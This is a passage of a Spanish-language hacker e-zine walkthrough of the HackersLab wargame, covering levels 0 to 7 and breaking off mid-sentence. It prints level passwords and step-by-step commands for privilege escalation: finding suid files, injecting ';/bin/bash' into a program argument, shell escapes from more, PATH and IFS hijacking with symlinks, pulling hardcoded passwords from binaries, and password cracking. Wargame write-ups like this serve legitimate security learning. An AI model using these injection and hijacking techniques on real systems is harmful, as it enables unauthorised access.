/----------------------------------------------------------------------------\
|-[ 14 ]----[ Hackerslab; juego en familia ]----[ Alto/Muy Alto ]------------|
\------------------------------------------------------------------[ Jafar ]-/


					****************************************
					* LAS AVENTURAS DE JAFAR EN HACKERSLAB *
					****************************************

Muy buenas en principio este documento lo hice con la unica idea de guardar mis
progresos a medida que iba haciendo el juego de hacking llamado hackerslab, 
para que asi me sirviera de recordatorio o de guia de los problemas que 
encontre durante el recorrido por los niveles.
Pero un dia Ripe me comento el por que no usar esta informacion como guia para
personas que quisieran hacerse el juego, y no quisiera atormentar con preguntas
a los demas que por regla general siempre suelen estar muy ocupados, jejejeje.

Bueno, espero que al menos ya sepais quien soy, soy Jafar estoy encantado de 
conoceros y espero que estas lineas os sirvan de algo para lo que en cuestion 
de seguridad en sitemas pueda ayudar. Asi que vamos al turron, seguro que 
estais ya hasta el gorro de leer la dichosa introduccion.

					Hacerse de una cuenta en Hackerslab
					-----------------------------------

En principio para jugar en hackerslab es necesario hacerse de una cuenta con su
login y su pass, el porque es facil, tienen que tener al menos un nick y un 
pass para que a medida que vais progresando, ellos vayan guardando vuestro 
nivel y asi poderos dar las pruebas segun el nivel. Para ello visitar ya 
www.hackerslab.org y haceros de una cuenta, si no que haceis leyendo este
documento.
Lo segundo es darle a la opcion Free hacking Zone que es donde esta todo el 
cotarro de registrarse y ver las distintas pruebas a pasar. Ah si, se me 
olvidaba, si quereis podeis pinchar primero who are we? y verle las caritas a 
los simpaticos koreanos que elaboraron este juego :) 
Pues eso, una vez le demos a esa opcion elegimos Registratrion y.............

					Como me hago la cuenta?
					------------------------
Pues mu facil, si yo que no tengo ni idea de ingles fui capaz de hacerlo 
vosotros tambien podreis, pero bueno os dire rapidamente los pasos.
Primero cargais la pagina principal que es muy cutre y elegis el idioma, os 
recomiendo el ingles a no ser que sepais chino, japones o koreano, jajajaja, 
que esperabais un servidor koreano con la posibilidad de elegir el idioma 
espaol? jejeje. Lo segundo es facil, dale a la casilla Registration para 
empezar el proceso de meter los odiosos datos de registro, aunque si os fijais 
tienen una buena guia grafica del como hacerlo. 
Pues manos a la obra, nos sale un formulario y a rellenarlo toca, meted entre 
otras cosas lo que os de la gana, y a lo maximo un correo que tengais acceso y 
que no sea el vuestro real jejeje, no es por nada, pero vete a saber pa que 
querran ellos el mail :)

		<Ripe: que sepais que mentir es malo>

Pues na, poned un ID y comprobar si no esta registrao y un pass que recordeis y
rellenar en lo demas lo que os venga en ganas.
Cuando termineis correctamente pues os saldra register done y ya tendreis la 
cuenta lista para usar.

					Como funciona esto?
					--------------------

Bueno ni que preguntaros que ya teneis la dichosa cuenta, si no pues empieza a 
leer gachon, que la prisa es mala consejera.
El sistema de funcionamiento es facil, para empezar pinchamos la opccion View 
Problems y alli nos dira cual es el problema segun el nivel en el que estemos.
Lo leemos bien, y para el que como yo no tenga idea de ingles que use por 
ejemplo el traductor del www.altavista.com que aunque traduce en indio nos 
servira para orientarnos en el problema. 
Cuando tengamos claro cual es el problema pues listo, usamos el telnet y nos 
metemos de lleno en el servidor koreano pa buscar entre sus tripas el fallo del
sistema y conseguir el password al siguiente nivel.
Una vez conseguido el password, pues lo introduciremos en la casilla de abajo 
del todo de la web donde hemos visto el problema en si, y si tenemos suerte, 
pues nos dira el tan esperado mensaje Congratulations level up, y a partir de 
ahi si volvemos a pinchar en View Problems ya nos atendera como un usuario de 
un nivel superior y asi pasar a los siguientes levels.

					Vamos a la carga? pues ale a jugar
					------------------------------------

Pues listos, arrancamos nuestro telnet, ya sea del cutre windows o del preciado
linux (espero que tengais un linux funcionando al 100% porque sino a ver como 
vais a pasar los dichosos niveles sin poder compilar ni probar las rutinas que 
hagais XDDDDDDDDDD) y apuntais a la direccion drill.hackerslab.org
Una tonteria pero no tan tonta es deciros que la entrada al level0 se hace como
login level0 y password: guest, parece una tonteria, pero el password al level0
no aparece por ningun lado, al menos a mi me lo tuvieron que decir porque en la
web no aparecia por ningun lado, jajajaja.

		<Ripe: te lo dije yo sino recuerdo :) Bueno, de
               todos modos *SI* que aparece en la web.
               Mirad bien>

************************* LEETE ESTO ANTES DE EMPEZAR **************************
Ojo aqui te lo pongo todo a webo, asi que si realmente te quieres sentir bien y
aprender, usa tan solo la informacion que necesites en su justa medida, por que
si te vicias el final terminaras mirando las passwords de todos los niveles 
para pasarte el juego y querer faldar despues con los colegas, pero tan solo 
conseguiras ser un penoso lamer que ademas de no poder explicar a nadie como te
pasaste los niveles, siempre te quedara la conciencia que te dira que realmente 
no hiciste el juego tu solo, cosa que te atormentara durante toda tu vida 
cuando escuches hackerslab, XDDDDD
********************************************************************************


				    **************************
				    *	Como hacer el level0? *
				    **************************
PRUEBA 1
Texto orginal:
It's a good thing that someone was nice enough to install a backdoor. Your task
is to use this backdoor to get to the next level. First, telnet to 
drill.hackerslab.org.
HINT: Check device drivers.

Texto Traducido:
En pocas palabras por que esto hasta yo lo entendi quiere decir que alguien ha 
instalado una backdoor en la maquina y hay que encontrarla para usarla y asi 
pasar al nivel siguiente. Para ello te dice que busquemos dicha backdoor.

telnet drill.hackerslab.org
login:level0 
pass: guest

Pues empezamos, para el que no lo sepa una backdoor es algo asi como una puerta
trasera, osea un programa que alguien hace cuando esta en un nivel determinado,
en este caso en el level1 y que sirve para que aquel que ejecute este programa 
aun no siendo level1 pase a tener privilegios de ese nivel.
Os puedo decir que en gran parte de los niveles encontrareis la necesidad de 
buscar programas con suid, osea programas que mientras se ejecutan tienen 
privilegios de nivel superior, y eso es lo que tenemos que aprovechar, usar 
esos programas para en medio de su ejecucion arrancar otras aplicaciones o 
abrirnos una shell nueva y poder usar esos privilegios.

		<Ripe: Bueno me gustaria matizar que con los suid
               no se ganan privilegios, sino que se
               modifican. Con esto quiero decir que
               ejecutar suid != ganar mas privilegios>

Pues dicho esto vamos a buscar el programa con suid que alguien dejo para 
nosotros, :))))

Para ello usaremos nuestra arma numero 1 osea, el find, que sirve basicamente 
para buscar ficheros con determinadas caracteristicas, nombre, permisos etc...
Si quereis dominarlo o saber mas sobre el, pues teclea man find y aprende algo.

[level0@drill level0]$ find / -perm +4000  2>/dev/null
./dev/.hi
./etc/bof
./tmp/sh
./bin/su
./home/nobody/.ssh2/.nobody
./home/nobody/.Xsegments
./lib/security/pam_auth.so
./usr/bin/passwd
./usr/bin/amos
./usr/bin/alert
./usr/bin/ps2
./usr/games/trojka
./usr/local/bin/hof
./usr/man/pt_BR/man8/today
./usr/sbin/sendmail
./usr/libexec/pt_chown

Bueno, ya sabemos algo, estos programas tienen suid, pero no nos dice mucho de 
ellos al respecto asi que vamos a buscarlo con mas detalles, en este caso 
usaremos ls que sirve para ensear los ficheros y directorios con mas detalle, 
pero usandolo con el find a la vez asi veremos en detalle los ficheros que find
encuentre para nosotros.

[level0@drill level0]$ ls -l `find / -perm +4000 2>/dev/null`
-rwsr-x---   1 root     wheel       13208 Apr 14  1999 /bin/su
-rwsr-x---   1 level1   level0      12900 Dec  5 19:08 /dev/.hi
-rws--x---   1 level10  level9     921107 Aug 12  1999 /etc/bof
-rwsr-xr-x   1 nobody   nobody     310640 Nov  1 03:04 /home/nobody/.Xsegments
-rwsr-xr-x   1 nobody   level1     310640 Dec 29 06:50 /home/nobody/.ssh2/.nobody
-rwsr-x---   1 level6   level5      13742 Aug 10  1999 /lib/security/pam_auth.so
-rwsr-xr-x   1 level3   level3     310640 Dec 29 07:46 /tmp/sh
-rws--x---   1 level3   level2      12873 Aug 10  1999 /usr/bin/alert
-rwsr-x---   1 level2   level1      13423 Apr  6  2000 /usr/bin/amos
-rwsr-x---   1 root     users       10704 Apr 15  1999 /usr/bin/passwd
-rws--x---   1 level9   level8     933937 Aug 12  1999 /usr/bin/ps2
-rwsr-x---   1 level5   level4      30350 Aug 10  1999 /usr/games/trojka
-rwsr-xr-x   1 root     root        34751 Sep  6 01:02 /usr/libexec/pt_chown
-rws--x---   1 level12  level11    924592 Aug 12  1999 /usr/local/bin/hof
-rws--x---   1 level4   level3      13245 Aug 10  1999 /usr/man/pt_BR/man8/today
-rwsr-sr-x   1 root     mail       365980 Nov 29 15:25 /usr/sbin/sendmail

		<Ripe: Se consiguen mejores resultados con
               find / -perm +4000 -user level1 -group level0 -exec ls -l {} \;
               teniendo en cuenta que buscamos un suid 
               que nos haga level1 que nosotros (level0)
               podamos ejecutar>

		<Ripe: Aun que si haceis lo que dice Jafar 
               podeis guardar la lista de suids para
               usarla mas adelante :)>

Ahora ya es otra cosa mariposa, tenemos practicamente todos los ficheros con 
suid, y la gran mayoria tendremos que petarlos o usarlos para conseguir el pass
del level siguiente. 
En este caso tan solo nos fijaremos en /bin/.hi que es el programa que 
buscabamos.
Si os fijais tiene suid y ademas lo puede ejecutar un level0 y tiene 
privilegios para level1. Pues na, a que esperais, ejecutadlo.
Una vez lo ejecuteis podeis haceros un whoami o un id para ver que nivel de 
privilegios teneis.
[level0@drill level0]$ /dev/.hi 
[level0@drill level0]$ whoami
level1
Como veis el server ya os toma como un level1 y eso porque teneis sus 
privilegios, si no ejecutar id y mirar que aun siendo level0 teneis el uid de 
level1.
Pues listo, ahora tan solo queda arrancar una aplicion llamada pass, la cual da
el password del level en curso, que al ejecutarlo sabreis el password del 
level1 y asi podreis poner ya vuestra  primera solucion en la web de 
hackerslab.

[level0@drill level0]$ pass
Alehop el password para el level1 es newworld

				    **************************
				    *	Como hacer el level1? *
				    **************************
PRUEBA 2
telnet drill.hackerslab.org
login:level1
pass: newworld

Texto original:
A computer student named Matthew is doing his C-programming homework. His 
teacher wanted him to create a program/script that if he types in a path name 
the program gives him what type of file/drectory it is. He was able to get it 
easily by using the `file` utility in the Unix-based commands.  However, the 
flaw lies in this solution. Use this flaw and go on to the next level. HINT-One
of 12 books known as the Minor prophets

Texto traducido:
Un estudiante de ordenador nombrado Matthew est haciendo su preparacin 
C-c-programming. Su profesor quisiera que l creara un program/script que si l
pulsa adentro un nombre del camino el programa lo da qu tipo de file/drectory 
es. l poda conseguirlo fcilmente usando el utilitario del `file` en los 
comandos Unix-unix-based. Sin embargo, el defecto miente en esta solucin. 
Utilice este defecto y contine al nivel siguiente. HINT-One de 12 libros 
conocidos como de menor importancia los profetas.

En este caso pasa como en el anterior level, el problema es un programa que 
alguien hizo y el cual nosotros tendremos que intentar aprovechar para pasar al
level siguiente.
Asi que como ya antes hicimos el find y vimos los diferentes ficheros con suid,
vamos a fijarnos en uno en concreto.

-rwsr-x---   1 level2   level1      13423 Apr  6  2000 /usr/bin/amos

Como vemos es un fichero que es para level1 y que tiene privilegios level2 
mientras se ejecuta.
Y es mas tiene el nombre amos que casualmente es el nombre de un profeta, :))))

Basicamente podeis usar este programa, y sirve para darte informacion un 
fichero. Pero el programa tiene un fallo, que sus argumentos no los filtra 
bien, y podemos ejecutar otra aplicacion desde ella misma.
Para ello llamamos al programa y despues de la llamada ponemos un ; y la 
aplicacion que queremos ejecutar. Con esto lo que haremos es ejecutar lo que 
queramos, una shell el programa pass para ver el password del level2 etc....
Vamos a llamar al programa y a una shell que siempre nos dara mas juego.
El fallo de este programa viene seguramente debido a que el programa dentro de 
el mismo hace una llamada al comando ls o algo parecido y como lo vamos a 
engaar? El programa amos espera una cadena con el path y nombre de un fichero 
para darnos la informacion. Nosotros vamos a meterle en esos parametros una 
llamada con ;/bin/bash para que dentro del proceso llame a nuestra querida 
shell con privilegios level2.

[level1@drill level1]$ /usr/bin/amos 
PATH: /etc;/bin/bash

Listo ahora tan solo nos queda mirar nuestra id para celebrarlo, y despues no 
olvides arrancar el programa pass para que nos de el password del level2. :))

		<Ripe: El programa hace un system() con
               "file <PATH>", pero nada nos impide
                poner un ; en PATH lo que ejecutara
                una nueva instruccion... lo que queramos>

				    **************************
				    *	Como hacer el level2? *
				    **************************

PRUEBA 3
telnet drill.hackerslab.org
login:level2
pass: DoItYourself

Texto original:
Kevin, a BBS programmer wants to add an alert on his homepage so that his 
members can see his message every time they log in.  Unfortunately, his message
is over a page long and his members cannot read the message. As a result, he 
has been racking his brain night and day trying to come up with a solution. 
Finally, he thought of using `more` command to solve this problem. However, 
this method is risky for security reasons.Using this, go on to the next level.
HINT:  Nuff said!

Texto traducido:
Kevin, un programador del BBS desea agregar una alarma en su homepage de modo 
que sus miembros puedan considerar que su mensaje que se abren una sesin cada 
vez. Desafortunadamente, su mensaje esta concluado una paginacian de largo y 
sus miembros no pueden leer el mensaje. Consecuentemente, al ha estado 
atormentando su noche y da del cerebro que intentaban venir para arriba con 
una solucion. Finalmente, el penso en usar comando del `more` de solucionar 
este problema. Sin embargo, este metodo es aventurado para la seguridad.
Usalo para continar al siguiente level.

No os atormenteis buscando web y un programa que ejecute desde alli, eso son 
tan solo cuentos chinos, bueno en este caso koreanos para darnos pistas sobre 
el tema.
En este caso nos habla de un programa que alguien hizo, mientras el programa se
ejecuta hace una llamada al comando more para sacarnos un texto por pantalla.
El problema es que el comando more mientras esta en pausa, tiene opciones para 
ejecutar programas desde el mismo. Recomiendo man more y asi veis las opciones 
de dicho comando.

Bueno vamos a extraer de la lista de marras el programa que necesitamos petar.

-rws--x---   1 level3   level2      12873 Aug 10  1999 /usr/bin/alert

Ahi lo tenemos, pues vamos a ejecutarlo y esperamos que la pantalla more se 
pare enseandonos el fichero en cuestion.
Cuando estemos parados tecleamos lo siguiente:
!/bin/bash
Con lo que desde el more ejecutamos una nueva shell con privilegios de level3.
Ahora desde esa shell tan solo nos queda ejecutar pass y bualaaaa, nuevo 
password. :P 
Curiosamente mirando me encontre tb un fichero en el directorio /tmp que 
alguien habia dejado ahi seguramente para echarle la mano a otro o vete tu a 
saber,jejejje.
El fichero era:
/tmp/sh
-rwsr-xr-x   1 level3   level3     310640 Dec 29 07:46 /tmp/sh
una programa con suid que nos hace saltar al nivel 3 directamente, jejejeje
Asi que os recomiendo que cuando entreis en un nivel determinado y no sepais 
por donde van los tiros, pues que mireis en el directorio /tmp que es donde 
todos hacen sus pruebas. Quien sabe al igual encuentras algo curioso o alguna 
pista de gran ayuda.

		<Ripe: Eso es trampa :)>


				    **************************
				    *	Como hacer el level3? *
				    **************************

PRUEBA 4
telnet drill.hackerslab.org
login:level3
pass: hackerproof

Texto Original
Steven is known for his tardiness, he is never on time! He is aware of this 
problem and knows that he has to do something about it. So, he programmed a 
simple C utility by using the `date` command that displays the current date in 
YYYY-MM-DD format every time he logs on to his computer. He put it in a secret 
directory because he was worried about others seeing this. Find it out and get 
the password for the next level.

Texto Traducido
Conocen a Steven para su tardanza, el nunca es el tiempo! El esta enterado de 
este problema y sabe que el tiene que hacer algo sobre el. Asi pues, el 
programo un utilitario simple de C usando el comando del `date` que visualiza 
la fecha actual en formato de YYYY-MM-DD que el entra cada vez a su ordenador. 
El lo puso en un directorio secreto porque el fue preocupado de otros que veia 
esto. Descubralo y consiga la palabra de paso para el nivel siguiente.  

Primero vamos a recordar la lista de ficheros que teniamos en principio y el 
cual sacamos usando el comando:
[level0@drill level0]$ ls -l `find / -perm +4000 2>/dev/null`

-rwsr-x---   1 root     wheel       13208 Apr 14  1999 /bin/su
-rwsr-x---   1 level1   level0      12900 Dec  5 19:08 /dev/.hi
-rws--x---   1 level10  level9     921107 Aug 12  1999 /etc/bof
-rwsr-xr-x   1 nobody   nobody     310640 Nov  1 03:04 /home/nobody/.Xsegments
-rwsr-xr-x   1 nobody   level1     310640 Dec 29 06:50 /home/nobody/.ssh2/.nobody
-rwsr-x---   1 level6   level5      13742 Aug 10  1999 /lib/security/pam_auth.so
-rwsr-xr-x   1 level3   level3     310640 Dec 29 07:46 /tmp/sh
-rws--x---   1 level3   level2      12873 Aug 10  1999 /usr/bin/alert
-rwsr-x---   1 level2   level1      13423 Apr  6  2000 /usr/bin/amos
-rwsr-x---   1 root     users       10704 Apr 15  1999 /usr/bin/passwd
-rws--x---   1 level9   level8     933937 Aug 12  1999 /usr/bin/ps2
-rwsr-x---   1 level5   level4      30350 Aug 10  1999 /usr/games/trojka
-rwsr-xr-x   1 root     root        34751 Sep  6 01:02 /usr/libexec/pt_chown
-rws--x---   1 level12  level11    924592 Aug 12  1999 /usr/local/bin/hof
-rws--x---   1 level4   level3      13245 Aug 10  1999 /usr/man/pt_BR/man8/today
-rwsr-sr-x   1 root     mail       365980 Nov 29 15:25 /usr/sbin/sendmail

Veamos el que nos interesa:
-rws--x---   1 level4   level3      13245 Aug 10  1999 /usr/man/pt_BR/man8/today

Este fichero es el que tenemos que explotar.
Para ello vamos a intentar engaar al programa en si, se supone que el programa
today hace una llamada al programa date para que le ensee la hora.

Primero mire el path de nuestro level
[level3@drill level3]$ echo $PATH
/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin

Cree un directorio llamado /tmp/.yo/
[level3@drill level3]$ mkdir /tmp/.yo/

Cambie el path del sistema incluyendo primero en la lista mi directorio para 
que a la hora de buscar un programa lo buscara en mi directorio.
[level3@drill level3]$ PATH=/tmp/.yo/:/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin

Me asegure de que el PATH habia quedado como yo queria
[level3@drill level3]$ echo $PATH
/tmp/.yo/:/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin

Cree un link de la shell en mi directorio con un fichero que se llamaba igual a
la aplicacion que el tipo llamaba desde su programa, osea la llamada a date.
[level3@drill level3]$  ln -s /bin/bash /tmp/.yo/date

Ahora ejecutamos today pero ellos han puesto un path absoluto, asi que lo 
hicieron bien y nos jodemos, jejeje
Que intente hacer?
El programa today intenta ejecutar date al modo exec("date") como si dijeramos, 
aunque en vez de eso, lo han hecho bien: exec("/bin/date") si solo hubieran 
puesto "date" en su llamada, el sistema buscaria dicho programa en la lista del
PATH y como nuestro directorio estaba primero en el PATH, hubiera ejecutado 
primero nuestra copia barata de date que en realidad era una shell del level4. 
Como esto que hice no funciono segui haciendo pruebas.

Despues de hacerle mil pruebas y recibir un poco de ayuda de Ripe:

<Ripe> IFS hace de separador de parametros en la linea de comandos
<Ripe> entre otras cosas :)
<Ripe> si IFS=" "
<Ripe> quiere decir que si ejecuto
<Ripe> mano -t
<Ripe> mano y -t seran parametros independientes
<Ripe> si haces IFS="/"
<Ripe> y ejecutas
<Ripe> /bin/date
<Ripe> bin y date son elementos independientes
<Ripe> 6.-IFS: Separador de campo interno, sirve para que el shell interprete 
       las lineas como elemetos. separados... es algo chungo de explicar, pero 
       muy util a la hora de programar ciertos scripts.

Pues esta claro que hay veces que tienes que preguntar, nadie nacio sabiendo, 
jejeje. Pues visto eso me dio otra idea parecida a la que probamos antes y que 
no tuvo resultado.

Creo links de la shell al temporal usando los nombres bin y date, por que?
como antes vimos la llamada a date desde today la hace de forma absoluta. 
/bin/date
[level3@drill level3]$ ln -s /bin/pass /tmp/bin
[level3@drill level3]$ ln -s /bin/sh /tmp/date

Cambiamos el separador interno por / de esta forma cuando haga la llamada a 
/bin/date el sistema pensara que esta haciendo la llamada a bin y despues a 
date.
[level3@drill level3]$ export IFS=/

Cambio el path metiendo como unico path /tmp
[level3@drill level3]$ PATH=/tmp

Y por ultimo ejecutamos today
[level3@drill level3]$ /usr/man/pt_BR/man8/today

Miramos nuestro level y....
[level3@drill level3]$ whoami
level4

boala, ya nos ejecuto bin que realmente era una shell de level4.


				    **************************
				    *	Como hacer el level4? *
				    **************************

PRUEBA 5
telnet drill.hackerslab.org
login:level4
pass: AreUReady?

Texto Original:
Kevin likes playing games in Linux. One day, he was bored and had nothing to 
do so he decided to play with a source file of the game. He opened the source 
file and added some codes and then compiled it. Get the password for the next 
level by using this program. HINT:  Apparently, he added only one line into the
source.

Texto Traducido
Kevin tiene gusto de jugar juegos en Linux. Un dia, lo aburrieron y no tenia 
nada hacer asi que el decidia jugar con un fichero de fuente del juego. El 
abrio el fichero de fuente y agrego algunos codigos y despues los compilo. 
Consiga la palabra de paso para el nivel siguiente  usando este programa. 
INDIRECTA: Al parecer, el agrego solamente una linea en la fuente.  

Como todavia andamos con ficheros con suid, miremos el que nos toca esta vez.

-rwsr-x---   1 level5   level4      30350 Aug 10  1999 /usr/games/trojka

Este programa cayo facil, el programa en si era un juego que rulaba. El tema es
que el juego antes de empezar hacia una limpieza de pantalla usando el comando 
del sistema clear. Como localize esto? pues facil, haciendo pruebas quite el 
path apuntando tan solo al /tmp de forma que cuando quiso ejecutar el clear 
dio un fallo visible en la pantalla. Si no probar a poner:
[level4@drill level4]$ PATH=/tmp
y ejecutar el programa
[level4@drill level4]$ /usr/games/trojka
Vereis si os da o no el fallo, :))

Asi que cree un link del programa pass, lo prefiero porque asi no tengo que 
ejecutarlo, sino que el programa me lo ejecutara directamente sin usar la 
shell. Creamos un link del programa pass con nombre clear al directorio tmp.

[level4@drill level4]$ ln -s /bin/pass /tmp/clear
Cambiamos el path como antes
[level4@drill level4]$ PATH=/tmp
Y ejecutamos el programa de marras
[level4@drill level4]$ /usr/games/trojka

Pues se acabo, nos sale en pantalla el pass del level siguiente.


				    **************************
				    *	Como hacer el level5? *
				    **************************

PRUEBA 6
telnet drill.hackerslab.org
login:level5
pass: Silent night,holy night!


Texto Original:
A hacker named John made the backdoor for the first problem. He got really 
angry when he realized that other HackersLab members were taking his backdoor 
for granted. He had worked on it very hard for one day and now he thinks that 
he can feel rest assured thinking that no one else can use the backdoor. Drive 
him mad again!

Texto Traducido:
Un hacker llamado Juan hizo el backdoor para el primer problema. El estaba 
realmente enojado cuando se entero que otros miembros de HackersLab tomaban su 
backdoor para usarlo. El habia trabajado mucho para que ahora el resto lo 
usara, asi que le puso un password a esta backdoor para que tan solo el pueda 
utilizarlo.  Pongamoslo enojado otra vez!

Bueno, ha quedao claro no, el tonto de los palotes del level1 se mosqueo por 
que usamos su backdoor y ha creado otra aplicacion igual pero que pide el 
password. Pues vaya no la hubiera dejado tan facil y tan cantoso, jejejeje.
Asi que vamos a ver otra vez el fichero que nos toca pa volver a cabrear a 
Don Juan, :))

-rwsr-x---   1 level6   level5      13742 Aug 10  1999 /lib/security/pam_auth.so

Asi que despues de mirar bien a fondo el programa, vimos que el pass que pedia 
la aplicacion dependia del propio programa, ademas el programa tenia tanto 
permiso de lectura como de ejecucion. Asi que ni cortos ni perezosos le hicimos
un less ./pam_aunt.so 
Asi que usamos el comando less a lo bruto, jejejeje para inspeccionar el 
programa.

[level4@drill level4]$ less /lib/security/pam_auth.so

A lo cual entre mucha mierda nos salio:

 it the hell are you thinking?^@abcd1234^@1qaz2wsx^@0plmfk3s^@qkqh^@fj3,n34k$^^@fg
 jk3!mfr*^@Best of The Best Hackerslab
@tkfkdgo!^@loveyou!^@D873nmf9^@apple123~^@
 flr1234^@passwd:^@sh^@/bin/sh^@passwd incorrect

		<Ripe: Quiza sea mas comodo hacer 
               "strings /lib/security/pam_auth.so">

entre otras cosas claro, asi que empece a probar los nombrecillos que salian 
antes de la palabra passwd.
Y tachannnnnnnn el passw era:
Best of The Best Hackerslab


				    **************************
				    *	Como hacer el level6? *
				    **************************

PRUEBA 7
telnet drill.hackerslab.org
login:level6
pass: Best of The Best Hackerslab

Texto Original:
On behalf of all those who have worked hard to reach this level, we have opened
a port for you so that you could get the password easily.  ButKoopsKI don't 
remember the port number. SorryK

Texto Traducido:
A nombre de todo el los que han trabajado dificilmente para alcanzar este 
nivel, hemos abierto un acceso para usted de modo que usted pudiera conseguir 
la palabra de paso facilmente. Pero parece que no se acuerdan o no nos quieren 
dar el puerto que debemos usar.


Esta parece chunga, jejejejejejeje

Despues de leer el texto lentamente vemos que nos dice que hemos abierto un 
acceso para usted, tan solo se nos ocurre scanear la maquina para ver los 
puertos abiertos para conexiones. Despues de scanear nos encontramos con un 
puerto curioso, jejeje 6969
Asi que probamos telnet drill.hacerslab.org 6969 y premio

login:level6
level6's passwd: Best of The Best Hackerslab
Congratulation!! level7's passwd is 'Cant help falling in love'


				    **************************
				    *	Como hacer el level7? *
				    **************************

PRUEBA 8
telnet drill.hackerslab.org
login:level7
pass: Cant help falling in love

Texto Original:
There is an executable file somewhere that holds the password for the next 
level. Unfortunately, it isn't easy to find.  You have to figure it out by 
yourself this time.

Texto Traducido:
Hay un fichero ejecutable en alguna parte que lleva a cabo la palabra de paso 
para el nivel siguiente. Desafortunadamente, no es facil encontrar. Usted tiene
que calcularlo hacia fuera por se este vez.

Vamos a buscar ficheros con suid y perdidos.
ls -l `find / -perm +4000 2>/dev/null`
-rwsr-x---   1 root     wheel       13208 Apr 14  1999 /bin/su
-rwsr-x---   1 level1   level0      12900 Dec  5 19:08 /dev/.hi
-rws--x---   1 level10  level9     921107 Aug 12  1999 /etc/bof
-rwsr-x---   1 level6   level5      13742 Aug 10  1999 /lib/security/pam_auth.so
-rws--x---   1 level3   level2      12873 Aug 10  1999 /usr/bin/alert
-rwsr-x---   1 level2   level1      13423 Apr  6  2000 /usr/bin/amos
-rwsr-x---   1 root     users       10704 Apr 15  1999 /usr/bin/passwd
-rws--x---   1 level9   level8     933937 Aug 12  1999 /usr/bin/ps2
-rwsr-x---   1 level5   level4      30350 Aug 10  1999 /usr/games/trojka
-rwsr-xr-x   1 root     root        34751 Sep  6 01:02 /usr/libexec/pt_chown
-rws--x---   1 level12  level11    924592 Aug 12  1999 /usr/local/bin/hof
-rws--x---   1 level4   level3      13245 Aug 10  1999 /usr/man/pt_BR/man8/today
-rwsr-sr-x   1 root     mail       365980 Nov 29 15:25 /usr/sbin/sendmail
a primera vista no aparece ninguna suid del level7 al level8

Asi que veamos los de nuestro propio level que sean interesantes
ls -l `find / -user level7 2>/dev/null` -d|more
quitando los /proc/* y los /prog quedan
crw--w----   1 level7   tty      136,  18 Dec 31 12:47 /dev/pts/18
crw--w----   1 level7   tty      136,  25 Dec 31 12:40 /dev/pts/25
crw--w----   1 level7   tty      136,  27 Dec 31 12:45 /dev/pts/27
crw--w----   1 level7   tty      136,   3 Dec 31 11:07 /dev/pts/3
crw--w----   1 level7   tty      136,  36 Dec 31 12:47 /dev/pts/36
-rw-r--r--   1 level7   level7       2617 Dec 31 12:25 /home/level7/public_html/main.html
-rw-rw-r--   1 level7   level7         12 Dec 31 10:46 /home/level7/tmp/aaa
-rw-rw-r--   1 level7   level7         30 Dec 31 06:17 /home/level7/tmp/fil
-rwxrwxr-x   1 level7   level7       1815 Dec 31 06:18 /home/level7/tmp/getpass.3
-rw-rw-r--   1 level7   level7        219 Dec 31 05:58 /home/level7/tmp/k
-rw-rw-r--   1 level7   level7         12 Dec 31 06:00 /home/level7/tmp/ki
-rw-rw-r--   1 level7   level7         12 Dec 31 11:28 /home/level7/tmp/lee
-rw-------   1 level7   level7      12288 Dec 31 11:17 /home/level7/tmp/passwd.swp
-rw-rw-r--   1 level7   level7        564 Dec 31 05:42 /home/level7/tmp/rei
-rw-rw-r--   1 level7   level7     175378 Dec 31 06:10 /home/level7/tmp/reoi
-rw-rw-r--   1 level7   level7        391 Dec 31 12:46 /tmp/crack.c
-r--rw-r--   1 level7   man          1525 Dec 28 01:29 /var/catman/cat1/chage.1.gz
-r--rw-r--   1 level7   man          6024 Dec 25 11:41 /var/catman/cat1/cpp.1.gz
-r--rw-r--   1 level7   man           830 Dec 28 01:30 /var/catman/cat1/cryptdir.1.gz
-r--rw-r--   1 level7   man          6397 Dec 23 22:36 /var/catman/cat1/gzip.1.gz
-r--rw-r--   1 level7   man          4515 Dec 21 21:27 /var/catman/cat1/login.1.gz
-r--rw-r--   1 level7   man          3094 Dec 21 20:44 /var/catman/cat1/tar.1.gz
-r--rw-r--   1 level7   man          3892 Dec 21 21:32 /var/catman/cat1/tr.1.gz
-r--rw-r--   1 level7   man          3150 Dec 23 22:35 /var/catman/cat1/uncompress.1.gz
-r--rw-r--   1 level7   man           712 Dec 26 00:35 /var/catman/cat2/_exit.2.gz
-rwxrwxrwx   1 level7   level7        885 Dec 22 23:12 /var/catman/cat3/getpass.3.gz
-r--rw-r--   1 level7   man           910 Dec 22 16:37 /var/catman/cat3/getpwent.3.gz
-r--rw-r--   1 level7   man          1517 Dec 26 00:35 /var/catman/cat3/gets.3.gz
-r--rw-r--   1 level7   man          1161 Dec 22 23:20 /var/catman/cat3/md5.3.gz
-r--rw-r--   1 level7   man          4287 Dec 22 18:45 /var/catman/cat3/scanf.3.gz
-r--rw-r--   1 level7   man          1572 Dec 30 07:23 /var/catman/cat3/shadow.3.gz
-r--rw-r--   1 level7   man           645 Dec 26 00:42 /var/catman/cat3/strcmp.3.gz
-r--rw-r--   1 level7   man           904 Dec 22 16:26 /var/catman/cat3/strcpy.3.gz
-r--rw-r--   1 level7   man          1784 Dec 22 23:15 /var/catman/cat5/passwd.5.gz
-r--rw-r--   1 level7   man          4720 Dec 22 18:30 /var/catman/catn/library.n.gz
-r--rw-r--   1 level7   man          2685 Dec 21 21:29 /var/catman/catn/trace.n.gz
-rwxrwxrwx   1 level7   mail            0 Dec  9 16:31 /var/spool/mail/level7

No hay forma de encontrarlo, al menos buscando por todos lados perdi bastante 
tiempo. Por ultimo mirando a mano por los directorios generales encontre un 
fichero guapo.

/dev/audio2
-rwx--x---   1 level8   level7      12878 Aug 10  1999 audio2

Al ejecutarlo ponia en pantalla:

VoE4HoQCFfMW2
 shadow level8 н κ̴.

A ver por donde nos sale este, jejejeje.
Despues de ver esto me vino una idea a la cabeza,tal vez VoE4HoQCFfMW2 podia 
ser el pass encriptado del level8 asi que cree un fichero passwd con user 
level8 y esa pass encriptada y lo someti al john ripper, que si no lo conoceis 
es un programa que por fuerza bruta y probando busca un password que coincida 
con ese pass encriptado. 
Mientras esperaba que john ripper probara mi idea sobre lo del pass, estaba 
charlando en el irc con Ripe, el cual me ayudo durante mi andadura por 
hackerslab facilitandome docs de la ezine para ponerme asi al dia en diferentes
temas y me comento una cosa: 
A veces los passwords son sacados por la gente de los diccionarios, y mirando 
